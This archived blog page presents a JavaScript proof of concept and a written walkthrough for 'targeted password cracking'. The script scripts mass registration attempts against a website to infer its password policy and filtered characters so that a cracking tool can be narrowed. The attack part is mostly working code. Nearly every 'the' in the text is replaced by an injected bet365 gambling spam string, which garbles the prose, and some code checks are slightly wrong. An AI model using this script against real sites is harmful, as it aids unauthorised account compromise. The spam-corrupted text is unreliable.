Showing posts with label Password. Show all posts
Showing posts with label Password. Show all posts

Tuesday, January 30, 2007

Target password cracking - code explained

This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 explanation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source code from my last posting about targeted password cracking - Proof of concept


---- Start Code -----


/******

Global variables defined in this module

  • ajax_request - To store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 XMLHttpRequest object.
    autofill - This string will be used to send variations of password to detect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password policy and what ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r characters are allowed.
  • success_response - This string stores cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first successful password attempt.
  • post_url - This string is to store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parameter string for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacks.
  • correct_password - This string stores cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct password used in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 successful attempt.
  • chars_to_check - This string contains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters we are testing if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are allowed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application. As you can see here it is a very limited string but we can add as many characters to it.
  • username - Store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 username of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 successful registration. This username is furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r added with a number to create anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r unique username.
  • counter - This is a number which gets added to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 username to create anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r unique username. A better approach would be to create a Random number generator.
******/

var ajax_request = false;
var autofill = "";
var success_response = "";
var post_url = "";
var correct_password = "";
var chars_to_check = "@<>/#$!()";
var username = "";
var counter = 46532;


/******

Function create_object()

This function creates a XMLHttpRequest object if it is firefox or ActiveXObject if IE6. Currently this module is tested in Firefox 2.0 and IE6. To learn more on XMLHttpRequest, please read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tutorials on Ajax.

******/


function create_object() {

if(window.ActiveXObject) {
var versions = ["Msxml2.XMLHTTP.7.0", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.5.0", "Msxml2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"];

for (var i = 0; i < versions.length ; i++) {
try {
ajax_request = new ActiveXObject(versions[i]);

if (ajax_request) {
break;
}
}catch (objException) {
// trap; try next one
} ;
}
}

if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
ajax_request = new XMLHttpRequest ();
}

}




/********

Function post_form(url, parameters)
url - The url where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form is submitted. This comes from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 action attribute of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form.
parameters - This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form parameters in a string format.

This function posts cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form using XMLHttpRequest instead of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser submitting it. This module assumes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first registration attempt is successful. Store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 successful response page in success_response variable. This will be used to verify whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 subsequent attack response was successful. The server response is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n updated in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DOM and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 run_attack function called which checks for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password policy and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters that are filtered.

******/


function post_form(url, parameters) {

post_url = url;
ajax_request.open("POST", url, false);
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

ajax_request.send(parameters);

if(ajax_request.readyState == 4 && ajax_request.status == 200) {

var response_text = ajax_request.responseText;
success_response = response_text;
document.body.innerHTML = response_text;
}

run_attack();
}



/********

Function submit_form(form_id)
form_id - The id of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form.

This function gacá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form elements and initializes some global variables which are used in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 subsequent automated registration attempts.

  1. Get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 action attribute and store it in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form_action.
  2. Get all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form elements and store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 string. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form element type is password cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n store it in correct_password String.
  3. Create anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r form string to be used for fingerprinting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password policy. For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 element types which are password replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m with ??.
    NOTE: I am using ?? as a placeholder for passwords. You can use ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r characters too.
  4. We will store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 above form string in post_url where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 future passwords can be applied by replacing ??.
  5. Store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct password in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct_password variable.
  6. Store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user name entered in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form in username variable. This will be required to replace with a new username everytime cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password is successful.
  7. Call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post_form function to submit it to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.

*******/


function submit_form(form_id)
{
var form = document.getElementById(form_id);
var form_action = form.action;

var params = "";

for(var i = 0; i < form.length; i++) {

params += form.elements[i].name + "=" + form.elements[i].value;

if(form.elements[i].type == 'password') {
autofill += form.elements[i].name + "=" + "??";
correct_password = form.elements[i].value;
}

else {

autofill += form.elements[i].name + "=" + form.elements[i].value;

if(form.elements[i].name == 'username')
username = form.elements[i].value;

}

if(i+1 < form.length) {
autofill += "&";
params += "&";
}
}

post_form(form_action, params);
}



/*******

Function create_attack_string(passwd)
passwd - The password which we want to test against cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 victim server.

  1. Create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new username by appending some numerics to it to make it unique. We are trying to avoid cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 duplicate usernames.
  2. Replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ?? which we created as placeholders for password by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 passwd passed in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parameter. replaceAll calls cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 prototype function of String object defined towards cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of this file.
  3. Return cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 newly created form parameter string to be submitted to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 victim server.

*******/


function create_attack_string(passwd)
{
var newString = autofill.replace(username, getUserName());
newString = newString.replaceAll("??", passwd);
return post_attacker(newString);
}



/*******

Function post_attacker(parameters)
parameters - cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form parameter string which will be submitted to register username / password on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 victim server.

This function submits cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attack parameters and checks if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server is a success by matching to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 success_response it stored from a successful response cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first time. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server matches cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 success response we stored from our original successful registration attempt cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n return true else return false.

*******/


function post_attacker(parameters) {
ajax_request.open("POST", post_url, false);
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
ajax_request.send(parameters);

if(ajax_request.readyState == 4 && ajax_request.status == 200) {

var response_text = ajax_request.responseText;

if(response_text == success_response)
return 'true';
else
return 'false';
}
}



/*******

Function getUserName()

This is a temporary function considering we are just using username and password for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Proof of concept. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are more cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n just username and password cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we want to store all of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in an array or some better approach. This is just for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PoC. I am just adding some integer value to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 username for this proof of concept. A better approach would be to create a random number or string generator.

********/


function getUserName()
{
return username + counter++;
}



/********

Function findMinChars()

This function checks for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 minimum number of characters allowed in a password. It starts with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of characters in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 successful password and work backwards maintaining cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 starting position for capital letter and ending position. Assuming cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first character of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 successful password was a capital letter and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last character a digit, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following routine removes one character from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second position of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original successful password and keeps removing one character until cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 minimum password length required is met which is checked by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response is same as it was when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registration was successful cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n this attempt was successful too.

********/


function findMinChars()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML = "Checking minimum password length.....";

for(var i = correct_password.length ; i >= 0; i--) {

var passwd = correct_password.substring(0,1) + correct_password.substring(correct_password.length - (i - 2), correct_password.length);
var success = create_attack_string(passwd);

if(success == 'true') {

attack_div.innerHTML += 'Minimum Password Length Allowed : ' + (i-1) + ' characters.';
}
}
}



/********
Function findCharsNotAllowed()

Check cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chars_to_check by adding one illegal character at a time to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password used at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time of successful registration. If successful cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n that character is allowed and if failure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n character is not allowed.

********/


function findCharsNotAllowed()
{
var attack_div = document.getElementById('attack_string');

for(var j = 0; j < chars_to_check.length; j++) {
var illegal_character = chars_to_check.charAt(j);
attack_div.innerHTML += 'Checking if character is allowed : ' + illegal_character + '...';
var newPassword = correct_password + illegal_character;
var newString = autofill.replaceAll("??", newPassword);
attack_div.innerHTML += 'Sending attack string : ' + newString + '....';
var success = post_attacker(newString);

attack_div.innerHTML += 'Character ' + illegal_character + ' allowed : ' + success;
}
}



/********

Function isDigitRequired

Check for all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 digits in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password used for successful registration and replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m with an alphabet. In this proof of concept i am replacing it with 'a'. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attempt to register is successful that means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 digit is not compulsory. If failed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it is. If a digit is required cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we can furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r check whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r if it is required at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning of a password or towards cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end.

********/


function isDigitRequired()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a digit is required.....';
var passwd = correct_password;

for(var i = 0; i < passwd.length ; i++)
{

if(passwd.charAt(i) > '0' && passwd.charAt(i) < '9')

passwd = passwd.substring(0,i) + 'a' + passwd.substring(i+1, passwd.length);

}

var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'Should contain digit : false';
else
attack_div.innerHTML += 'Should contain digit : true';
}


/********

Function isStartingWithCapitalLetter()

This method moves cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 starting character which is a capital letter to ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r positions in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password and checks whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registration was successful. If successful that means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password need not start with a capital letter.

********/


function isStartingWithCapitalLetter()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a password has to start with a capital letter......';
var passwd = correct_password.substring(0,1).toLowerCase() + correct_password.substring(1,correct_password.length);
var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'First letter to be a capital letter : false';
else
attack_div.innerHTML += 'First letter to be a capital letter : true';
}


/********

Function isEndingWithDigit()

This method adds an alphabet to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password and checks if it registers with this password. If it does cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password does not have to end with a digit. If it fails cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it should end with a digit. Similarly we can check if a digit is required at all in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password.

********/


function isEndingWithDigit()
{
var attack_div = document.getElementById('attack_string');
attack_div.innerHTML += 'Checking if a password has to end with a digit......
';
var passwd = correct_password + "a";
var success = create_attack_string(passwd);

if(success == 'true')
attack_div.innerHTML += 'Last letter has to be a digit : false
';
else
attack_div.innerHTML += 'Last letter has to be a digit : true
';
}


/********

Function run_attack()

This function is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 starting point of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attack. This function is called after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 successful registration in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n onwards tries different combinations to identify what characters are not allowed in a password.

********/


function run_attack()
{
//Find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 minimum character required for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password.
findMinChars();

//Find if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password has to start with a capital letter.
isStartingWithCapitalLetter();

//Find if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 digits are required
isDigitRequired();

//Find if it has to end with a digit.
isEndingWithDigit();

//Find if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters as mentioned in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chars_to_check String are not allowed.
findCharsNotAllowed();

}


/********

String.prototype.replaceAll

This function replaces all instances of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 given substring with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target string. This function was copied from Ask Ben website. Details of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function is provided on his website in case you want to understand. The url is mentioned below
http://www.bennadel.com/blog/142-Ask-Ben-Javascript-String-Replace-Method.htm

********/

String.prototype.replaceAll = function(
strTarget, // The substring you want to replace
strSubString // The string you want to replace in.
)
{
var strText = this;
var intIndexOfMatch = strText.indexOf( strTarget );

// Keep looping while an instance of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target string still exists in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 string.
while (intIndexOfMatch != -1)
{

// Relace out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current instance.
strText = strText.replace( strTarget, strSubString )

// Get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 index of any next matching substring.
intIndexOfMatch = strText.indexOf( strTarget );
}

// Return cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 updated string with ALL cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target strings replaced out with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new substring.
return( strText );
}

-----End Code ----

There are many improvements that can be done to this program. This is just a proof of concept and I was too lazy to do too much. If you get a chance to improve upon this, please do let me know. I also have some ideas and maybe we can discuss about it.

Download cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 complete source code or view cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 working demo at Attack Labs

Targeted password cracking - Proof of concept

This is a proof of concept to exploit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registration functionality of a website to build targeted password cracking engine. I am using Ajax to automatically detect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parameters which are submitted for a successful password and automatically resubmitting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 modified passwords. Of course ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r technologies can be used for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same.



I think I can safely assume that by now we all understand cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 need of a strong password handling mechanism, which starts from a strong password policy. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password policy we define cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rules for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password selected by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user to login to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir account. The idea is to make cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m stronger so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are not easily guessed and more importantly, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password cracking tools cannot break cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m easily. Some websites have stricter password policy as compared to ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs but more often cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n not, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 website owners also care about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 customers as stronger passwords are difficult to remember. The stronger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password is, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chances are that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user might forget it especially if it is not something you use every day. Many companies also define cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password policy keeping in mind many criteria, in which two of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main criteria are:

1. From cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 support perspective, password reset call volume might increase. (Not everyone has a online password reset functionality)
2. Inconvenience to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user.

There could be more depending on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 company but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se two are often brought up by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 product team.

With cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 increase in SQL injection attack and XSS attack, many security professionals implement character filtering on anything that comes from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client. It could be blacklist character filtering (do not allow potentially harmful characters) or whitelist character filtering (only allow valid characters) depending on how a security professional or architect wants to approach it. For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sake of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 argument let’s say cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 architects apply cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se filters globally which means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se filters are implemented for passwords as well, furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r restricting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 character set for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password selection. This is where we have to be extremely careful. If an application, filters characters for password fields as well on top of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security policy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n you are limiting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 character set for passwords and this could be reverse engineered to make intelligent password cracking tools.

Let’s take a look at how it can be done and what we can do to protect from it. To start with, we need to find out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following:

1. The minimum number of characters that are allowed for a password field?
2. Should it start or end with a capital letter?
3. The minimum number of capital letters required?
4. The minimum number of digits required?
5. Should it start or end with a digit?
6. What characters are not allowed (for example “<,>,#,&,\” etc)?

If we can find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 answers to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 above mentioned question cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we can fine tune cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password cracking tool to follow those rules as a result cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of permutations and combinations required will be less.


If we start by successfully registering a password on a website and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n reverse engineer it to find what is allowed and what is not allowed. For example, let’s say we can successfully register with a password which contains 8 characters and starts with a capital letter and ends with a numeric (Say “Abcdefg1”) and rest all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters are lower case alphabets. Assuming cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 registration is successful, we’ll start working backwards and find out what characters are filtered and what characters are required in what sequence.

1. Remove one character from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 middle of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password keeping cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first character (Capital letter) and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last character (Digit) intact. Use this password to register and keep reducing by one character from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 middle until you get error.

2. Register with a password with one character removed from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 middle of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original password, keeping cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first character (Capital letter) and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last character (Digit) intact. Keep reducing by one character but keep cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 capital letter and number until it gives error. This way we can determine cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 minimum length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application. For example, “Abcdef1”, “Abcde1”, “Abcd1”, etc

3. Move cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 capital letter from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning to some ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password keeping cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number and minimum number of characters allowed and see if it gives error. This will tell you if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password requires you to start with a capital letter or you can have it anywhere within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password. For example, “aBcdefg1”.

4. Select a password with minimum number of characters allowed and no capital letter and one numeric. If it doesn’t give any error that means capital numbers are not allowed. For example, “abcdefg1”

5. Select a password with no numeric character with one capital letter into it. If it doesn’t give any error cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n numeric is optional.

6. Replace a non numeric and non capital letter of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password with a character from a list of ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r characters (for example, %, ~, !, @, #, $, %, ^, &, *, <, > and so on). Replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 character one at a time and check if you get any error. If you get an error that means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 character is not allowed.

By performing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 above mentioned steps you can find out what characters are not allowed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application and hence you can remove those characters in your password cracking tool and furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rule for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters allowed in certain order.

Now, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application is filtering for blacklisted characters in password as well, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 list of characters not allowed will grow and will be favourable for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password cracking tool. By any chance if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application is doing whitelist filtering for passwords as well, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 characters actually allowed for passwords would be very limited and hence make it extremely easy for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 password cracking tools.

